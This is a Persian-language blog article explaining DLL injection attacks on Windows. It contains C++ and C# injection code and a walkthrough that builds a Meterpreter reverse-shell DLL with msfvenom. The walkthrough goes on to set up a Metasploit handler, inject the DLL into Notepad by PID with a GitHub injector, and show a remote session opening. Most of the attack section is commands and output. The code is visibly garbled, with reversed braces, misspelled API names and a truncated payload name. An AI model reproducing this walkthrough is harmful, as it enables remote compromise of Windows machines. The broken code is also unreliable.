آنچه در این مقاله می خوانید:

حمله DLL Injection چیست

حمله DLL Injection چیست

قطعا یکی از بزرگ ترین نگرانی هایی که هر کاربری در هنگام استفاده از کامپیوتر و یا سایر سیستم های ارتباطی دارد، هک شدن اطلاعات و یا حمله به داده های مهم است. یکی از این حملات، حمله DLL Injection است که توسط هکرها به طور مکرر استفاده می شود. حمله DLL Injection سطح دسترسی و دسترسی از راه دور هکرها را افزایش می دهد. از این رو یکی از حملات محبوب در میان هکرها و مهاجمان به شمار می آید.

ایجاد یک شبکه قدرتمند با تجهیزات شبکه پیشرفته و به روز همچون سوئیچ شبکه، فایروال، روتر و .. گرچه تا حد زیادی در حفظ امنیت و قدرت شبکه شما موثر است اما همان طور که تجهیزات شبکه رشد چشمگیر و سازگار با قابلیت های روز دنیا دارند، حملات نیز رشد کرده و می توانند آسیب های جبران ناپذیری به داده های شما وارد کنند. در ادامه قصد داریم تا شما را با حمله DLL Injection بیشتر آشنا سازیم و همه جوانب آن را مورد بررسی قرار دهیم.

 

حمله DLL Injection چیست:

DLL مخفف Dynamic Link Library است که در واقع به فایل هایی گفته می شود که دارای کدها، کتابخانه ها و منابعی است که برنامه ویندوز به آن نیاز دارد. بیشتر برنامه نویسان و یا همه برنامه نویسان، برنامه و نرم افزار خود را سنگین نمی کنند، بلکه تمامی داده های خود که در قالب کد هستند را در کتابخانه و یا Library ذخیره می سازند که به اصطلاح به آن ها فایل های DLL می گویند. این فایل های DLL در میان نرم افزارها به صورت مشترک مورد استفاده قرار می گیرد و منابع مورد نیاز را تامین می کند.

برای درک بهتر مفهوم DLL در نظر داشته باشید که دو نرم افزار از یک منبع مشترک استفاده می کنند که نام آن Y است و این منبع Y دارای 100 مگابایت حجم می باشد. این دو نرم افزار بدون فایل های DLL، کتابخانه Y را درون نرم افزار خود قرار می دهند و اگر خود نرم افزار 10 مگابایت حجم داشته باشد با قرار دادن منبع Y در خود، حجم آن ها معادل 110 مگابایت می گردد. وقتی که بر روی سیستم شما نصب می شود و سایر برنامه ها نیز از این منبع استفاده می کنند، فضای اشغال شده در سیستم افزایش می یابد و دسکتاپ سنگین تر می گردد.

ممکن است این سوال برایتان پیش بیاید که فایل های DLL، فایل های مخربی هستند؟ یا اینکه به سیستم شما کمک می کنند؟ جواب می تواند هم مثبت باشد و هم منفی. از این جهت که فایل های DLL منابع مورد نیاز نرم افزارها را درون خود قرار می دهند، قاعدتا کاری مثبت است زیرا حجم و فضای ذخیره را کاهش می دهند، اما نکته اینجاست که به علت دارا بودن کدهای منبع، امکان اجرا شدن آن ها وجود دارد که می تواند خطرناک باشد و یک تهدید محسوب شود. از این رو اجرا شدن کدهای درون فایل DLL را حمله DLL Injection می نامیم.

 

حمله DLL Injection چگونه اتفاق می افتد:

تا اینجا شما متوجه شدید که حمله DLL Injection چیست. حال می خواهیم ببینیم به چه صورت این اتفاق می افتد؛ حمله DLL Injection با تزریق کدهای خراب و یا اجرا کردن آن کدها از طریق قرار دادن فایل DLL در یک فرآیند در حال اجرا رخ خواهد داد از این رو بهتر است فایل های DLL در لحظه اجرا کنند.

یک واقعیت مهم این است که هیچ صادراتی از بارگذار DLL فراخوانی نمی شود، اما در عوض تمام مقداردهی اولیه از DllMain انجام می شود. تنها صادرات initData است که پارامترهای داده شده توسط فرآیند تزریق را از طریق بارگذار DLL دریافت می کند و باید توجه داشت که رشته ایجاد شده از یک تابع DllMain تا زمانی که عملکرد DLL_THREAD_ATTACH آن موفقیت آمیز نباشد، برنامه ریزی نمی شود. بنابراین ممکن است هیچ هماهنگی از داخل DllMain با موضوع ایجاد شده وجود نداشته باشد. این حمله توسط API ویندوز صورت می پذیرد که شامل مراحل زیر می باشد:

  1. فایل DLL بر روی سیستم قرار گرفته می شود، قرار گرفتن این فایل بر روی سیستم هدف می تواند به هر شکلی رخ دهد.
  2. در مرحله دوم هدف اجرایی مشخص می شود و فضای حافظه برای حمله DLL Injection به وجود می آید یا بهتر بگوییم در هنگام اجرا و پردازش هدف، فضای ایده آل برای حمله DLL Injection ایجاد می شود.  
  3. با قرار گرفتن فایل DLL مخرب در Process، آدرس های حافظه به آن تخصیص داده می شود.
  4. مرحله چهارم، مرحله ای است که فایل مخرب اجرا می شود، با اجرا شدن آن فایل مخرب در کنار فایل DLL انجام سازی می گردد.

 

حمله DLL Injection چیست

 

کد زیر نمونه ای از یک DLL بارگذاری شده توسط بارگذار DLL را نشان می دهد که پارامترها را در یک فایل چاپ می کند.

 

#include <Windows.h>

#include <fstream>

#include <atomic>

using namespace std;

#if defined(_MSC_VER)

                #pragma warning (disable: 6387) // returned handle could be null

#endif

#if defined(_M_IX86)

                #pragma comment (linker, “/export:DllMain=_DllMain@12”)

#elif defined(_M_X64)

                #pragma comment (linker, “/export:DllMain=_DllMain@12”)

#else

                #error unsupported platform

#endif

using namespace std;

DWORD WINAPI myThread (LPVOID lpvThreadParam );

BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved )

}

                Switch ( dwReason )

                {

                case DLL_PROCESS_ATTACH:

                                // create thread since there is no export called from the loader DLL

                                CreateThread (nullptr, 0, myThread, nullptr, 0, nullptr);

                default:

                                break;

                }

                return TRUE;

{

extern “C”

__declspec(dllexport)

wchar_t initData[MAX_PATH] = { 0 };

DWORD WINAPI myThread (LPVOID lpvThreadParam)

}

                // wait for initData to be filled by loader DLL

                // skip that if you don’t rely on any initData

                // as the named event “nasty hackers” has been created by our own DLL’s

                // LoadLibrary() we’re just connecting to a named event, but not creating one

                If (WaitForSingleObject( CreateEventA( nullptr, FALSE, FALSE, “nasty hackers” ), INFINITE ) != WAIT_OBJECT_0 )

                                return 0;

                // write parameters in a file to test function

                // the following code doesn’t work when the DLL is non-statically linked for unknown reasons

                wofstream wofs;

                wofs.open( “c:\\Users\\xxx\\test.txt”, ofstream::out | ofstream::trunc );

                wofs << initData << endl;

                return 0;

{

 


بیشتر بخوانید: حمله جعل یا Arp Spoofing چیست؟


بررسی حمله DLL Injection:

راه های پیاده سازی حمله DLL Injection بسیار زیاد است، یعنی به روش های زیادی می توان این حمله را پیاده سازی کرد. بیشتری روشی که برای پیاده سازی این حمله مورد استفاده قرار می گیرد، نوشتن ابزارهای دستی و یا ابزارهای آماده هستند. چون ابزار DLL Injection با زبان برنامه نویسی سی شارپ نوشته شده است برای پیاده سازی آن هم از این زبان استفاده می کنند و معمولا با استفاده از کتابخانه  Kernel32فراخوانی می‌شود.

تابع OpenProcess:

اولین تابع مورد بررسی در بحث DLL Injection تابع OpenProcess می باشد از این تابع برای مدیریت و انتخاب Process های تزریقی به DLL استفاده می شود به همین علت به یک سری مجوزها نیاز دارد تا بتواند DLL دلخواه را استفاده کند. flag های مورد نیاز برای تابع OpenProcess شامل موارد زیر می باشد:

  • CreateThread
  • QueryInformation
  • VMOperation
  • VMWrite
  • VMRead

 

حمله DLL Injection چیست

تابع LoadLibrary:

بعد از آن که با استفاده از تابع OpenProcess تزریق DLL مورد نظر خود را انجام دادیم از تابع kernel32.dll با عنوان LoadLibrary استفاده می کنیم. بیشتر کاربری این تابع پردازش فایل DLL بارگذاری شده در حافظه است. این تابع فایل دی ال ال را از کتابخانه kernel32.dll فراخوانی می کند و توسط تایع GetProcAddress آدرس، تابع و یک متغیر از کتابخانه دریافت می شود.

 

حمله DLL Injection چیست

 

تابع VirtualAllocEx:

این تابع برای اختصاص دادن بخشی از حافظه مجازی Process مورد استفاده قرار می گیرد و موجب راه اندازی فرآیندهای بیشماری می گردد.

Inter address_of_allocated_memory = VirtualAllocEx(handle_process, (Inter)0, (Inter)dll_path. Length + 1, MEM_COMMIT, PAGE_READWRITE);

If (address_of_allocated_memory == INTER_ZERO)

}

Console.ForegroundColor = ConsoleColor.Red;

Console.WriteLine(“[-] Virtual memory space could not be created.”);

{

Else

}

Console.ForegroundColor = ConsoleColor.Yellow;

Console.WriteLine(“[+] Virtual memory allocated”);

{

 

تابع CreatRemote Threat:

از این تابع برای Thread کردن در حافظه مجازی استفاده می شود و موجب تکمیل فرآیند DLL Injection در تابعLoadLibraryA  به عنوان یک Thread اجرا می گردد.

If (creatremoteThread(handle_process, (Inter)0, (Inter)0, address_of_load_library, address_of_allocated_memory, 0, (Inter)0) == INTER_ZERO)

}

Console.ForegroundColor = ConsoleColor.Red;

Console.WriteLine(“[-] Thread could not be created.”);

{

Else

}

Console.ForegroundColor = ConsoleColor.Yellow;

Console.WriteLine(“[+] Thread created”);

{

 

 

DLL Injector چیست و چگونه کار می کند:

برای پیاده سازی حمله DLL Injection، ابتدا باید با استفاده از Metasploit و msfvenom یک Meterpreter Reverse Shell در قالب یک فایل DLL ایجاد کنیم.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.130 LPORT=8000 -f dll -o test.dll

 

پس از آن که یک Payload ایجاد کردیم، یک MultiHandler نیز به وجود می آوریم. مشخصات را مانند دستورات زیر وارد می کنیم تا shell مرتبط با سیستم را دریافت کنیم.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tc
set LHOST 192.168.10.130
set LPORT 8000

run

پس از ایجاد فایل دی ال ال باید به سراغTask Manager  برویم، سپس Process مورد نظر را انتخاب می کنیم که در زیر Notpad.exe با PID 11976 انتخاب شده است.

حمله DLL Injection چیست

 

پس از آن که فایل DLL مخرب ایجاد شد و Process انتخاب شد به سراغ DLL Injector می رویم.

https://github.com/Zhuagenborn/Dll-Injector

 

بعد از آن که DLL Injector را دریافت کردیم آن را در CMD اجرا می کنیم و به شکل زیر فایل دی ال ال مخرب و PID مربوط به Notpad.exe را وارد می کنیم.

 

C:\>dll_injector.exe

DLL INJECTOR

Twitter:

Dll_injector.exe <PROCESS_ID> <DLL_PATH>

Example

Dll_injector.exe 1815 C:\test.dll

C:\>dll_injector.exe 11976 c:\mtr.dll

DLL INJECTOR –

Twitter:

Process ID:11976

DLL Path: c:\mtr.dll

[*] The process was handled

[*] LoadLibraryA library loaded

[*] Virtual memory allocated

[*] The DLL was written to process memory

[*] Thread created

C:\>

حالا در بستر Metasploit میبینیم که به راحتی برایمان دسترسی Shell گرفته شده است.

Msf5 >

[*] Sending stage (206403 bytes) to 192.168.0.22

[*] Meterpreter session 3 opened (192.168. 0.25:4444. > 192.168.0.22:1880) at 2020.03.30 16:16:34 .0400

Msf5 > sessions 3

[*] starting interaction with 3 …

Meterpreter > getpid

Current pid: 16988

Meterpreter >

 

کلام آخر:

با توجه به رشد حملات و تهدیدات سایبری، مهم است که از انواع حملاتی که سیستم و یا سرور را تهدید می کنند همچون XSS، DDoS، DNS Spoofing و .. اطلاع داشته باشید و بدانید که هریک چه قسمت هایی را درگیر کرده و چگونه به سیستم و اطلاعات شما آسیب وارد می کنند. از اینکه تا انتهای مقاله “حمله DLL Injection چیست” با ما همراه بودید، سپاسگزاریم. در صورتی که قصد دارید با سایر پروتکل های شبکه و حملات نرم افزاری آشنا شوید می توانید مقالات ما را در مجله مسترشبکه دنبال کنید.

شما میتوانید از مسترشبکه بزرگترین فروشگاه اینترنتی انواع سرور  را با گارانتی معتبر خریداری نمایید.

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

محبوب ترین محصولات